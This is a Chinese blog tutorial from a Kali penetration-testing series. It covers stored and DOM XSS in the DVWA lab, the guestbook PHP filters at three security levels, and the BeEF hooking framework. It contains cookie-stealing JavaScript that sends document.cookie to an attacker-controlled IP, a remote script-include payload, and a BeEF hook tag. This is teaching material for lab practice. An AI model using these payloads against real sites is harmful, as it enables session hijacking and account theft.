存储型XSS与DOM型XSS

XSS原理

存储型XSS

1、可长期存储于服务器端

2、每次用户访问都会被执行js脚本,攻击者只需侦听指定端口

#攻击利用方法大体等于反射型xss利用

##多出现在留言板等位置

*推荐使用burpsuite

a、观察返回结果,是否原封不动地返回输入数据?是否有其他标签  

js代码通过留言板存储在服务器中,所以每次点击留言板链接,都会弹出xss弹窗

b、测试加载攻击者控制的服务器中的js文件

#启动apache2【默认侦听80端口】

a.js  【盗取客户端cookie信息,并把它上传到攻击者控制的服务器的PHP文件】

 var img = new Image();
img.src = "http://192.168.56.102:88/cookies.php?cookie="+document.cookie;

***默认在客户端进行长度的限制,可用burpsuite进行绕过或直接修改HTML代码中的长度限制  【安全性好的,同时在客户端跟服务器端进行长度限制】

<script src="http://192.168.56.102/a.js"></script>

###使用nc演示效果,侦听88端口,提交成功/刷新页面,即可成功获得cookie  

代码审计  【以下代码只是对输入数据进行过滤】

low

  <?php

 if(isset($_POST['btnSign']))
{ $message = trim($_POST['mtxMessage']);
$name = trim($_POST['txtName']); // Sanitize message input
$message = stripslashes($message);
$message = mysql_real_escape_string($message); // Sanitize name input
$name = mysql_real_escape_string($name); $query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');"; $result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>' ); } ?>

medium  【Name输入框输出结果:还是原型,但js脚本已是普通文本(目前理想的过滤方法);Message中还存在】

  <?php

 if(isset($_POST['btnSign']))
{ $message = trim($_POST['mtxMessage']);
$name = trim($_POST['txtName']); // Sanitize message input
$message = trim(strip_tags(addslashes($message)));//addslashs():增加反斜线;strip_tags():过滤HTML标签;
$message = mysql_real_escape_string($message);
$message = htmlspecialchars($message);  //进行html编码,<>会被编码 // Sanitize name input
$name = str_replace('<script>', '', $name);//删除<script>,********可用拆分绕过
$name = mysql_real_escape_string($name); $query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');"; $result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>' ); } ?>

high

  <?php

 if(isset($_POST['btnSign']))
{ $message = trim($_POST['mtxMessage']);
$name = trim($_POST['txtName']); // Sanitize message input
$message = stripslashes($message);
$message = mysql_real_escape_string($message);
$message = htmlspecialchars($message); // Sanitize name input
$name = stripslashes($name);
$name = mysql_real_escape_string($name);
$name = htmlspecialchars($name); $query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');"; $result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>' ); } ?>

DOM型XSS

一套js和其他语言都可以调用的标准的API

#本质上跟反射型中利用src的方法一样,只是调用的函数不一样而已

<script>
var img = document.createElement("img");
img.src = "http://192.168.56.102:88/cookies.php?cookie="+escape(document.cookie);
</script>

BEFF

BeEF是目前欧美最流行的web框架攻击平台,它的全称是 the Browser exploitation framework project。

可用于生成、交互payload【内含大量模块,payload】

ruby编写

服务器端:管理hooked客户端

客户端:运行于客户端浏览器的JavaScript脚本

浏览器攻击面

应用普遍转移到B/S架构,浏览器成为统一客户端程序

大部分需要结合社会工程学方法对浏览器进行攻击

攻击浏览器用户

通过注入的JS脚本,利用浏览器攻击其他网站

攻击手段

利用网站xss漏洞实现攻击

诱使客户端访问含有hooked的伪造站点

结合中间人攻击注入hooked脚本

常见用途

键盘记录器

网络扫描

浏览器信息收集

绑定shell

与metasploit集成

a、默认登录账号密码beff/beff

b、<script src="http://127.0.0.1:3000/hook.js"></script>

 c、模块

1、Browser  浏览器类型(可得cookie,OS等信息)

【点击对应模块即可使用,响应速度比较慢,绿色为适用;橙色也是可用,但是会被客户端使用者发现;红色可能不可用;灰色未知是否可用】

2、Exploits 漏洞利用模块

3、Network  【可用作僵尸机】

4、Persistence  当页面被关闭(主机未离线),仍可对hooked客户端进行操作【持久hooked,建议当一台主机受害后,马上进行该操作】

小白日记49:kali渗透测试之Web渗透-XSS(三)-存储型XSS、DOM型XSS、神器BEFF的更多相关文章

  1. 小白日记28:kali渗透测试之Web渗透-扫描工具-Nikto

    扫描工具-Nikto #WEB渗透 靶机:metasploitable 靶场:DVWA[默认账号/密码:admin/password] #新手先将DVWA的安全性,调到最低,可容易发现漏洞 侦察[减少 ...

  2. 小白日记30:kali渗透测试之Web渗透-扫描工具-Skipfish

    WEB渗透-skipfish Skipfish是一个命令行模式,以C语言编写的积极的Web应用程序的安全性侦察工具,没有代理模式. 它准备了一个互动为目标的网站的站点地图进行一个递归爬网和基于字典的探 ...

  3. 小白日记47:kali渗透测试之Web渗透-XSS(一)

    XSS [推荐书籍:XSS跨站脚本攻击剖析与防御] xss表示Cross Site Scripting(跨站脚本攻击),它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/ ...

  4. 小白日记51:kali渗透测试之Web渗透-WebShell(中国菜刀、WeBaCoo、Weevely)

    webshell 本质:<?php echo shell_exec($_GET['cmd']);?> windows平台 中国菜刀官网:胖客户端程序,国产中比较优秀的webshell,适用 ...

  5. 小白日记54:kali渗透测试之Web渗透-补充概念(AJAX,WEB Service)

    补充概念 AJAX(异步javascript和XML) Asynchronous javascript and xml 是一个概念,而非一种新的编程语言,是一组现有技术的组合 通过客户端脚本动态更新页 ...

  6. 小白日记52:kali渗透测试之Web渗透-HTTPS攻击(Openssl、sslscan、sslyze、检查SSL的网站)

    HTTPS攻击 全站HTTPS正策划稿那位潮流趋势 如:百度.阿里 HTTPS的作用 CIA 解决的是信息传输过程中数据被篡改.窃取 [从中注入恶意代码,多为链路劫持] 加密:对称.非对称.单向 HT ...

  7. 小白日记50:kali渗透测试之Web渗透-CSRF

    CSRF CSRF原理:经常与XSS混淆. 从信任的角度进行区分:XSS:利用用户对站点的信任:CSRF:利用站点对已经身份认证的信任(有一定的信任)[默认情况:站点不信任客户端] 结合社工在身份认证 ...

  8. 小白日记37:kali渗透测试之Web渗透-手动漏洞挖掘(三)-目录遍历、文件包含

    手动漏洞挖掘 漏洞类型 #Directory traversal 目录遍历[本台机器操作系统上文件进行读取] 使用者可以通过浏览器/URL地址或者参数变量内容,可以读取web根目录[默认为:/var/ ...

  9. 小白日记35:kali渗透测试之Web渗透-手动漏洞挖掘(一)-默认安装引发的漏洞

    手动漏洞挖掘 即扫描后,如何对发现的漏洞告警进行验证. #默认安装 流传linux操作系统比windows系统安全的说法,是因为windows系统默认安装后,会开放很多服务和无用的端口,而且未经过严格 ...

随机推荐

  1. 深入浅出谈存储之NAS是什么

    深入浅出谈存储之NAS是什么 2012年02月17日16:42 来源:新浪博客 作者:林沛满 编辑:曾智强 查看全文 赞(0)评论(0) 分享 标签: NAS , 企业NAS , 存储系统 [IT16 ...

  2. Ubuntu14.04上安装pip的方法

    在Ubuntu14.04上,建议通过下面的方法安装,这是一种通用的方法,也适用于Windows,当然在Windows下 手动下载下来就行了 wget https://bootstrap.pypa.io ...

  3. HD1064Financial Management

    Problem Description Larry graduated this year and finally has a job. He's making a lot of money, but ...

  4. Swift项目兼容Objective-C问题汇总

    Swift项目兼容Objective-C问题汇总 转载自 http://www.cocoachina.com/swift/20150608/12025.html 本文是投稿文章,作者:一叶(博客)欢迎 ...

  5. hdu 1171 Big Event in HDU(多重背包+二进制优化)

    题目链接:hdu1171 思路:将多重背包转为成完全背包和01背包问题,转化为01背包是用二进制思想,即件数amount用分解成若干个件数的集合,这里面数字可以组合成任意小于等于amount的件数 比 ...

  6. hdoj 5375 Gray Code

    题目链接:http://acm.hdu.edu.cn/showproblem.php?pid=5375 编码规则:tmp = XOR(gr[i],gr[i-1]); 算是找规律的题目吧,考虑?前后字符 ...

  7. hdoj 5344 MZL's xor

    题目地址:http://acm.hdu.edu.cn/showproblem.php?pid=5344 #include<stdio.h> #include<cstring> ...

  8. Spring4.0+Hibernate4.0+Struts2.3整合包括增删改查案例,解决整合中出现的异常

    源码下载:http://download.csdn.net/detail/cmcc_1234/7034775 ======================Application.xml======== ...

  9. Oracle的体系结构

    前言 这个章节主要想说的是Oracle的体系结构,这个也是理论强些.还有一些比较理论的知识点(比如表空间啊),就暂时先不写了,下一章节开始进入Oracle的操作阶段,比如表的查询啊.插入以及重点是和S ...

  10. Maven仓库的布局

    任何一个构件都有其唯一的坐标,根据这个坐标可以定义其在仓库中的唯一存储路径,这便是Maven的仓库布局方式.例如log4j:log4j:1.2.15这一依赖,其对应的仓库路径为log4j/log4j/ ...